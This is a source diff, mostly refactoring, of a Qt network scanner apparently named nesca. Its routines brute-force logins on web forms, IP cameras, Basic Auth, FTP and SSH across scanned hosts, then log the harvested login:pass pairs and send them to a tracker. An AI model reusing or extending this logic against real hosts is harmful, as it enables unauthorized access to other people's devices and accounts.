int ContentFilter(const char *buff, int port, const char *ip, char *cp, int sz)
|
||||
int ContentFilter(const std::string buff, int port, const char *ip, const char *cp, int sz)
|
||||
{
|
||||
if(buff != NULL)
|
||||
{
|
||||
QTextCodec *codec;
|
||||
QString strLower;
|
||||
|
||||
if (strstri(cp, "shift_jis") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("Shift-JIS");
|
||||
strLower = codec->toUnicode(buff);
|
||||
}
|
||||
else if (strstri(cp, "utf") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("UTF-8");
|
||||
strLower = codec->toUnicode(buff);
|
||||
}
|
||||
else if (strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("Windows-1251");
|
||||
strLower = codec->toUnicode(buff);
|
||||
}
|
||||
else if (strstri(cp, "gb") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("GB2312");
|
||||
strLower = codec->toUnicode(buff);
|
||||
}
|
||||
else strLower = QString(buff);
|
||||
strLower = strLower.toLower();
|
||||
|
||||
int res = 0;
|
||||
|
||||
if(sz <= 500)
|
||||
{
|
||||
res = _mainFinderFirst(strLower.toLocal8Bit().data(), 1, port, ip, sz);
|
||||
}
|
||||
else if((sz > 500 && sz <= 3500) || sz > 180000)
|
||||
{
|
||||
res = _mainFinderFirst(strLower.toLocal8Bit().data(), 0, port, ip, sz);
|
||||
}
|
||||
else if(sz > 3500 && sz <= 180000)
|
||||
{
|
||||
res = _mainFinderSecond(strLower.toLocal8Bit().data(), port, ip);
|
||||
};
|
||||
if (sz <= 500) res = _mainFinderFirst(buff, 1, port, ip, cp);
|
||||
else if ((sz > 500 && sz <= 3500) || sz > 180000) res = _mainFinderFirst(buff, 0, port, ip, cp);
|
||||
else if (sz > 3500 && sz <= 180000) res = _mainFinderSecond(buff, port, ip, cp);
|
||||
|
||||
return res;
|
||||
}
|
||||
else return -1;
|
||||
}
|
||||
|
||||
void fillGlobalLogData(const char *ip, char *port, const char *sz, char *title,
|
||||
void fillGlobalLogData(const char *ip, int port, const char *sz, char *title,
|
||||
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
|
||||
{
|
||||
if(trackerOK == true)
|
||||
@ -437,7 +439,7 @@ void fillGlobalLogData(const char *ip, char *port, const char *sz, char *title,
|
||||
jsonData.insert("hostname", QJsonValue(QString(ip)) );
|
||||
};
|
||||
|
||||
jsonData.insert("port", QJsonValue(QString(port).replace(":", "")) );
|
||||
jsonData.insert("port", QJsonValue(QString::number(port)) );
|
||||
jsonData.insert("recv", QJsonValue(QString(sz)));
|
||||
QString tt = QString(base64_encode((const unsigned char *)title, strlen(title)).c_str());
|
||||
if(strlen(title) == 0) jsonData.insert("title", QJsonValue(QString("NULL")) );
|
||||
@ -453,9 +455,7 @@ void fillGlobalLogData(const char *ip, char *port, const char *sz, char *title,
|
||||
if(strlen(clss) > 0) jsonData.insert("Class", QJsonValue(QString(clss)) );
|
||||
else jsonData.insert("Class", QJsonValue(QString("")) );
|
||||
|
||||
while(jsonArr == NULL);
|
||||
jsonArr->push_front(jsonData);
|
||||
|
||||
gGlobalTrackLocked = false;
|
||||
};
|
||||
}
|
||||
@ -684,12 +684,12 @@ void fputsf(char *text, int flag, char *msg)
|
||||
};
|
||||
}
|
||||
|
||||
void putInFile(int flag, const char *ip, char *port, int size, char *finalstr, char *cp)
|
||||
void putInFile(int flag, const char *ip, int port, int size, char *finalstr, char *cp)
|
||||
{
|
||||
char log[4096] = {0}, msg[512] = {0};
|
||||
|
||||
QTextCodec *codec;
|
||||
sprintf(msg, "<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a>",
|
||||
sprintf(msg, "<a href=\"http://%s:%d/\"><span style=\"color: #a1a1a1;\">%s:%d</span></a>",
|
||||
ip, port, ip, port);
|
||||
|
||||
QString resMes(msg);
|
||||
@ -727,7 +727,7 @@ void putInFile(int flag, const char *ip, char *port, int size, char *finalstr, c
|
||||
|
||||
stt->doEmitionFoundData(resMes);
|
||||
|
||||
sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
|
||||
sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%d\"/><font color=MediumSeaGreen>%s:%d</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
|
||||
ip, port, ip, port, size);
|
||||
|
||||
if(flag == 666 || flag == 350)
|
||||
@ -773,17 +773,17 @@ void putInFile(int flag, const char *ip, char *port, int size, char *finalstr, c
|
||||
ZeroMemory(msg, strlen(msg));
|
||||
}
|
||||
|
||||
void _specFillerBA(const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag)
|
||||
void _specFillerBA(const char *ip, int port, char *finalstr, const char *login, const char *pass, int flag)
|
||||
{
|
||||
char log[512] = {0};
|
||||
|
||||
++PieBA;
|
||||
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0)
|
||||
{
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s%s\"><font color=MediumSeaGreen>%s:%s@%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
login, pass, ip, port, login, pass, ip, port, finalstr);
|
||||
} else {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s%s\"><font color=MediumSeaGreen>%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
ip, port, ip, port, finalstr);
|
||||
}
|
||||
|
||||
@ -792,7 +792,7 @@ void _specFillerBA(const char *ip, char *port, char *finalstr, const char *login
|
||||
fputsf (log , flag, "Basic Authorization");
|
||||
}
|
||||
|
||||
void _specFillerWF(const char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
|
||||
void _specFillerWF(const char *ip, int port, char *finalstr, char *login, char *pass, int flag)
|
||||
{
|
||||
char log[512] = {0};
|
||||
|
||||
@ -1022,9 +1022,7 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
|
||||
char *fBlock = strstri(buff, "<form ");
|
||||
char formVal[128] = {0};
|
||||
int fbsz = 0;
|
||||
char tport[16] = {0};
|
||||
|
||||
sprintf(tport, "%d", port);
|
||||
std::vector<std::string> inputVec;
|
||||
if(fBlock != NULL)
|
||||
{
|
||||
@ -1091,8 +1089,8 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
|
||||
else
|
||||
{
|
||||
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find form block.");
|
||||
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||
putInFile(flag, ip, tport, size, title, cp);
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||
putInFile(flag, ip, port, size, title, cp);
|
||||
};
|
||||
|
||||
if(strlen(methodVal) == 0)
|
||||
@ -1157,10 +1155,10 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
|
||||
|
||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||
{
|
||||
_specFillerWF(ip, tport, title, lps.login, lps.pass, flag);
|
||||
_specFillerWF(ip, port, title, lps.login, lps.pass, flag);
|
||||
|
||||
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
|
||||
putInFile(flag, ip, tport, size, title, cp);
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
|
||||
putInFile(flag, ip, port, size, title, cp);
|
||||
};
|
||||
}
|
||||
else
|
||||
@ -1178,17 +1176,15 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
|
||||
ZeroMemory(lps.login, sizeof(lps.login));
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
char tport[32] = {0};
|
||||
sprintf(tport, ":%d", port);
|
||||
|
||||
IPC ipc;
|
||||
lps = ipc.IPCLobby(ip, port, SPEC);
|
||||
|
||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||
{
|
||||
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
||||
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
||||
|
||||
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
};
|
||||
}
|
||||
|
||||
@ -1196,20 +1192,14 @@ void _specBrute(const char *ip, int port,
|
||||
char *finalstr, int flag,
|
||||
char *path, char *comment, char *cp, int size)
|
||||
{
|
||||
char temp[64] = {0};
|
||||
char tport[32] = {0};
|
||||
sprintf(tport, ":%d", port);
|
||||
|
||||
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port);
|
||||
|
||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||
{
|
||||
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
||||
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
||||
|
||||
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
};
|
||||
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
}
|
||||
|
||||
const char *GetTitle(const char* str)
|
||||
@ -1343,8 +1333,6 @@ void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
|
||||
int gsz = ptr1 - buffcpy;
|
||||
strncpy(goodStr, buffcpy, gsz);
|
||||
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
|
||||
char portString[16] = {0};
|
||||
sprintf(portString, "%d", port);
|
||||
sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner);
|
||||
sprintf(logEmit, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port);
|
||||
|
||||
@ -1359,7 +1347,7 @@ void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
|
||||
const char *ptrl2 = strstr(buffcpy, "@");
|
||||
lpsz = ptrl2 - ptrl1;
|
||||
strncpy(passSSH, ptrl1 + 1, lpsz);
|
||||
fillGlobalLogData(ip, portString, std::to_string(size).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
}
|
||||
else
|
||||
@ -1373,10 +1361,10 @@ void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
|
||||
};
|
||||
}
|
||||
|
||||
int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
int Lexems::_filler(int p, const std::string buffcpy, char* ip, int size, Lexems *lx)
|
||||
{
|
||||
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL ||
|
||||
strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
|
||||
if (Utils::ustrstr(buffcpy, "SSH-2.0-OpenSSH") != -1 ||
|
||||
Utils::ustrstr(buffcpy, "SSH-2.0-mod_sftp") != -1)
|
||||
{
|
||||
std::string sshBuff;
|
||||
int res = SSHAuth::SSHLobby(ip, p, &sshBuff);
|
||||
@ -1386,7 +1374,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
|
||||
if(p == 22)
|
||||
{
|
||||
_saveSSH(ip, p, size, buffcpy);
|
||||
_saveSSH(ip, p, size, buffcpy.c_str());
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -1397,15 +1385,14 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
ZeroMemory(ps.path, sizeof(ps.path));
|
||||
|
||||
char finalstr[TITLE_MAX_SIZE] = {0};
|
||||
char port[32] = {0};
|
||||
int flag = 0;
|
||||
char cp[32] = {0};
|
||||
|
||||
strcpy(cp, GetCodePage(buffcpy));
|
||||
strcpy(cp, GetCodePage(buffcpy.c_str()));
|
||||
flag = ContentFilter(buffcpy, p, ip, cp, size);
|
||||
if(flag == -1 ) return -1;
|
||||
|
||||
strcpy(ps.headr, GetTitle(buffcpy));
|
||||
strcpy(ps.headr, GetTitle(buffcpy.c_str()));
|
||||
ps.flag = flag;
|
||||
|
||||
char baPath[256] = {0};
|
||||
@ -1414,7 +1401,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
std::vector<std::string> redirStrLst;
|
||||
if(flag == 0 || flag == 3 || flag == 7 )
|
||||
{
|
||||
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, size);
|
||||
int rh = _header(ip, p, buffcpy.c_str(), lx, &ps, &redirStrLst, size);
|
||||
strcpy(cp, ps.codepage);
|
||||
if (rh == -1) {
|
||||
return -1;
|
||||
@ -1431,8 +1418,6 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
strncpy(baPath, ps.path, (sz < 256 ? sz : 256));
|
||||
};
|
||||
|
||||
sprintf(port, "%d", p);
|
||||
|
||||
if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr);
|
||||
if (flag == -1 || flag == 6) {
|
||||
return -1;
|
||||
@ -1449,14 +1434,14 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
{
|
||||
++PieBA;
|
||||
|
||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
|
||||
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
|
||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%d</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
|
||||
ip, p, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
|
||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
|
||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
|
||||
|
||||
fputsf (log, flag, "FTP");
|
||||
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
||||
fillGlobalLogData(ip, p, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
||||
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
}
|
||||
@ -1464,14 +1449,14 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
{
|
||||
++PieBA;
|
||||
|
||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
|
||||
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
|
||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%d</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
|
||||
ip, p, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
|
||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
|
||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
|
||||
|
||||
fputsf(log, flag, "FTP");
|
||||
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
||||
fillGlobalLogData(ip, p, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
||||
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
|
||||
@ -1644,10 +1629,10 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
++AnomC1;
|
||||
|
||||
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p);
|
||||
sprintf(log, "[HFS]:<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
||||
ip, port, ip, port, finalstr, lps.login, lps.pass);
|
||||
sprintf(log, "[HFS]:<a href=\"http://%s:%d/\"><span style=\"color: #a1a1a1;\">%s:%d</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
||||
ip, p, ip, p, finalstr, lps.login, lps.pass);
|
||||
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
||||
fillGlobalLogData(ip, p, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
||||
fputsf (log , flag, "HFS");
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||
}
|
||||
@ -1661,15 +1646,15 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||
}
|
||||
else if(flag == 10)
|
||||
{
|
||||
_specWFBrute(ip, p, buffcpy, flag, baPath, "Web Form", "Web Form", cp, size, finalstr);
|
||||
_specWFBrute(ip, p, buffcpy.c_str(), flag, baPath, "Web Form", "Web Form", cp, size, finalstr);
|
||||
}
|
||||
else if(flag == 2)
|
||||
{
|
||||
putInFile(0, ip, port, size, "[OVERFLOW]", cp);
|
||||
putInFile(0, ip, p, size, "[OVERFLOW]", cp);
|
||||
}
|
||||
else
|
||||
{
|
||||
putInFile(flag, ip, port, size, finalstr, cp);
|
||||
putInFile(flag, ip, p, size, finalstr, cp);
|
||||
};
|
||||
|
||||
return flag;
|
||||
@ -2621,7 +2606,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
||||
"] Rejecting in _header::Lowload_body (<15b)");
|
||||
};
|
||||
|
||||
++Filt;
|
||||
++filtered;
|
||||
strcpy(ps->path, "/");
|
||||
return -1;
|
||||
};
|
||||
|
@ -131,10 +131,8 @@ public:
|
||||
std::vector<std::string> *lst, int size);
|
||||
|
||||
int _filler(int port,
|
||||
const char *buffcpy,
|
||||
const std::string buffcpy,
|
||||
char* ip,
|
||||
int size,
|
||||
Lexems *lx);
|
||||
};
|
||||
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
|
@ -21,11 +21,11 @@ void _getNewMsg()
|
||||
char *ptr1 = NULL;
|
||||
if(buffer.size() > 0)
|
||||
{
|
||||
if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1
|
||||
&& Utils::ci_find_substr(buffer, std::string("404 Not Found")) == -1
|
||||
&& Utils::ci_find_substr(buffer, std::string("502 Bad Gateway")) == -1
|
||||
&& Utils::ci_find_substr(buffer, std::string("400 Bad Request")) == -1
|
||||
&& Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1
|
||||
if(Utils::ustrstr(buffer, std::string("\r\n\r\n")) != -1
|
||||
&& Utils::ustrstr(buffer, std::string("404 Not Found")) == -1
|
||||
&& Utils::ustrstr(buffer, std::string("502 Bad Gateway")) == -1
|
||||
&& Utils::ustrstr(buffer, std::string("400 Bad Request")) == -1
|
||||
&& Utils::ustrstr(buffer, std::string("\r\n\r\nEmpty")) == -1
|
||||
)
|
||||
{
|
||||
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
||||
|
197
nesca_3.cpp
197
nesca_3.cpp
@ -1,5 +1,4 @@
|
||||
#include <QGridLayout>
|
||||
#include <QFileDialog>
|
||||
#include <QFileDialog>
|
||||
#include "nesca_3.h"
|
||||
#include "CheckKey_Th.h"
|
||||
#include "DrawerTh_QoSScanner.h"
|
||||
@ -13,17 +12,9 @@
|
||||
#include "DrawerTh_VoiceScanner.h"
|
||||
#include "piestat.h"
|
||||
#include <QMenu>
|
||||
#include <QGraphicsSceneContextMenuEvent>
|
||||
#include <QDesktopWidget>
|
||||
#include <QtMultimedia/qsound.h>
|
||||
#include <QtMultimedia/qsoundeffect.h>
|
||||
#include <qscrollbar.h>
|
||||
#include <qdesktopservices.h>
|
||||
#include <qmessagebox.h>
|
||||
#include "progressbardrawer.h"
|
||||
#include "externFunctions.h"
|
||||
#include "externData.h"
|
||||
#include "Threader.h"
|
||||
#include "FileDownloader.h"
|
||||
|
||||
QDate date = QDate::currentDate();
|
||||
@ -43,18 +34,10 @@ bool smBit_5 = false;
|
||||
bool smBit_6 = false;
|
||||
bool smBit_7 = false;
|
||||
bool smBit_8 = false;
|
||||
bool privateMsgFlag = false;
|
||||
|
||||
bool proxyEnabledFlag = false;
|
||||
bool disableBlink = false;
|
||||
char gVER[32] = {0};
|
||||
int nickFlag;
|
||||
int offlineFlag;
|
||||
bool OnlineMsgSentFlag = false;
|
||||
int globalPinger = 0;
|
||||
int nesca_3::savedTabIndex = 0;
|
||||
|
||||
bool dFlag = false;
|
||||
bool startFlag = false;
|
||||
bool trackerOK = true;
|
||||
char trcPort[32] = {0};
|
||||
@ -83,7 +66,6 @@ ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
||||
bool MapWidgetOpened = false;
|
||||
bool globalScanFlag;
|
||||
float QoSStep = 1;
|
||||
int MaxDataVal = 1;
|
||||
QGraphicsScene *sceneGrid;
|
||||
QGraphicsScene *sceneGrid2;
|
||||
QGraphicsScene *sceneGraph;
|
||||
@ -138,13 +120,8 @@ QVector<QString> NodeAddrs;
|
||||
const nesca_3 *gthis;
|
||||
bool BALogSwitched = false;
|
||||
bool widgetIsHidden = false;
|
||||
bool blinkFlag = false;
|
||||
bool printDelimiter = false;
|
||||
int PhraseIndex = 0;
|
||||
QList<QString> PhraseLog;
|
||||
bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false;
|
||||
|
||||
|
||||
QVector<qreal> dots;
|
||||
QVector<qreal> dotsThreads;
|
||||
QFont multiFontSmallFontPie;
|
||||
@ -745,11 +722,11 @@ void nesca_3::slotQoSAddLine()
|
||||
|
||||
float gHeight = ui->graphicLog->height();
|
||||
|
||||
float fact = (float)100 / (float)MaxDataVal;
|
||||
float fact = (float)100 / (float)DrawerTh_QoSScanner::MaxDataVal;
|
||||
|
||||
if(QoSStep > 268)
|
||||
{
|
||||
MaxDataVal = 1;
|
||||
DrawerTh_QoSScanner::MaxDataVal = 1;
|
||||
QoSStep = 1;
|
||||
gLOL0.clear();
|
||||
gLOL1.clear();
|
||||
@ -813,7 +790,7 @@ void nesca_3::slotQoSAddLine()
|
||||
fnt.setFamily("Eurostile");
|
||||
fnt.setPixelSize(10);
|
||||
|
||||
QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString::number(MaxDataVal), fnt);
|
||||
QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString::number(DrawerTh_QoSScanner::MaxDataVal), fnt);
|
||||
item->setX(215);
|
||||
item->setDefaultTextColor(Qt::white);
|
||||
QOSWait = false;
|
||||
@ -824,8 +801,8 @@ void nesca_3::slotQoSAddGrid()
|
||||
sceneGrid->clear();
|
||||
|
||||
int gWidth = ui->graphicLog->width();
|
||||
if(MaxDataVal > 100) MaxDataVal = 100;
|
||||
float fact = (float)100/(float)MaxDataVal;
|
||||
if (DrawerTh_QoSScanner::MaxDataVal > 100) DrawerTh_QoSScanner::MaxDataVal = 100;
|
||||
float fact = (float)100 / (float)DrawerTh_QoSScanner::MaxDataVal;
|
||||
|
||||
float th = 0;
|
||||
for(int i = 0; i < 100; ++i)
|
||||
@ -1036,7 +1013,7 @@ void nesca_3::activateQoSScanBut()
|
||||
PieStatFlag = false;
|
||||
|
||||
QoSStep = 1;
|
||||
MaxDataVal = 1;
|
||||
DrawerTh_QoSScanner::MaxDataVal = 1;
|
||||
|
||||
sceneGrid2->clear();
|
||||
sceneGraph->clear();
|
||||
@ -1438,18 +1415,12 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
|
||||
QKeyEvent* keyEvent = static_cast<QKeyEvent*>(event);
|
||||
if(keyEvent->modifiers() == Qt::ControlModifier)
|
||||
{
|
||||
privateMsgFlag = true;
|
||||
event->accept();
|
||||
return true;
|
||||
};
|
||||
return false;
|
||||
}
|
||||
else if (event->type() == QEvent::KeyRelease)
|
||||
{
|
||||
privateMsgFlag = false;
|
||||
event->accept();
|
||||
return true;
|
||||
};
|
||||
else if (event->type() == QEvent::KeyRelease) return true;
|
||||
return false;
|
||||
}
|
||||
else
|
||||
@ -1459,7 +1430,6 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
|
||||
QKeyEvent* keyEvent = static_cast<QKeyEvent*>(event);
|
||||
if(keyEvent->modifiers() == Qt::ControlModifier)
|
||||
{
|
||||
privateMsgFlag = true;
|
||||
event->accept();
|
||||
return true;
|
||||
};
|
||||
@ -1467,7 +1437,6 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
|
||||
}
|
||||
else if(event->type() == QEvent::KeyRelease)
|
||||
{
|
||||
privateMsgFlag = false;
|
||||
event->accept();
|
||||
return true;
|
||||
}
|
||||
@ -2699,79 +2668,6 @@ void _startMsgCheck()
|
||||
mct->start();
|
||||
}
|
||||
|
||||
nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
{
|
||||
setWindowFlags ( Qt::FramelessWindowHint );
|
||||
|
||||
gthis = this;
|
||||
ui->setupUi(this);
|
||||
setSomeStyleArea();
|
||||
ui->dataText->setOpenExternalLinks(true);
|
||||
ui->dataText->setOpenLinks(false);
|
||||
ui->rVerLabel->hide();
|
||||
setSceneArea();
|
||||
|
||||
dots << 0.5 << 0.3 << 0.5 << 0.3;
|
||||
dotsThreads << 0.1 << 0.2 << 0.1 << 0.2;
|
||||
penAllThreads.setCapStyle(Qt::FlatCap);
|
||||
penAllThreads.setDashPattern(dotsThreads);
|
||||
penThreads.setCapStyle(Qt::FlatCap);
|
||||
penThreads.setDashPattern(dotsThreads);
|
||||
penBAThreads.setDashPattern(dots);
|
||||
penBAThreads.setCapStyle(Qt::FlatCap);
|
||||
penAllTargets.setCapStyle(Qt::FlatCap);
|
||||
penTargets.setCapStyle(Qt::FlatCap);
|
||||
penSaved.setCapStyle(Qt::FlatCap);
|
||||
|
||||
multiFontSmallFontPie.setFamily("small_fonts");
|
||||
multiFontSmallFontPie.setPixelSize(9);
|
||||
multiFontSmallFontArc.setFamily("small_fonts");
|
||||
multiFontSmallFontArc.setPixelSize(10);
|
||||
multiFontSmallFontArc.setUnderline(true);
|
||||
ui->ipLabel->setFont(multiFontSmallFontArc);
|
||||
|
||||
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
|
||||
tray->hide();
|
||||
|
||||
SetValidators();
|
||||
ConnectEvrthng();
|
||||
|
||||
QTime time = QTime::currentTime();
|
||||
qsrand((uint)time.msec());
|
||||
|
||||
const std::string &gVERStr = GetVer();
|
||||
strcpy(gVER, gVERStr.c_str());
|
||||
ui->logoLabel->setToolTip("v3-" + QString(gVER));
|
||||
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
|
||||
CreateVerFile();
|
||||
RestoreSession();
|
||||
PhraseLog.push_back("");
|
||||
|
||||
dtHN->start();
|
||||
dtME2->start();
|
||||
adtHN->start();
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
WSADATA wsda;
|
||||
if (WSAStartup(0x0101, &wsda))
|
||||
{
|
||||
stt->doEmitionRedFoundData("WSAStartup failed.");
|
||||
qApp->quit();
|
||||
};
|
||||
#endif
|
||||
|
||||
